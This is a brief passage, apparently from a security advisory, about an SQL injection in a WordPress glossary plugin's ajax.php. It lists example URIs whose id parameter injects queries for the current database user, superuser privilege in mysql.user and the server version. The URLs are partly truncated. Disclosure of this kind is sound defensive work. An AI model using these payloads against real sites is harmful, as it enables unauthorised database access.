Attackers can exploit this issue with a browser.

The following example URIs are available:

http://www.example.com/wp-content/pl...ssary/ajax.php [GET][id=-1][CURRENT_USER()

http://www.example.com/wp-content/pl...ssary/ajax.php [GET][id=-1][SELECT
(CASE WHEN ((SELECT super_priv FROMmysql.user WHERE user='None' LIMIT 0,1)='Y') THEN 1 ELSE 0 END)
http://www.example.com/wp-content/pl...ssary/ajax.php [GET][id=-1][MID((VERSION()),1,6)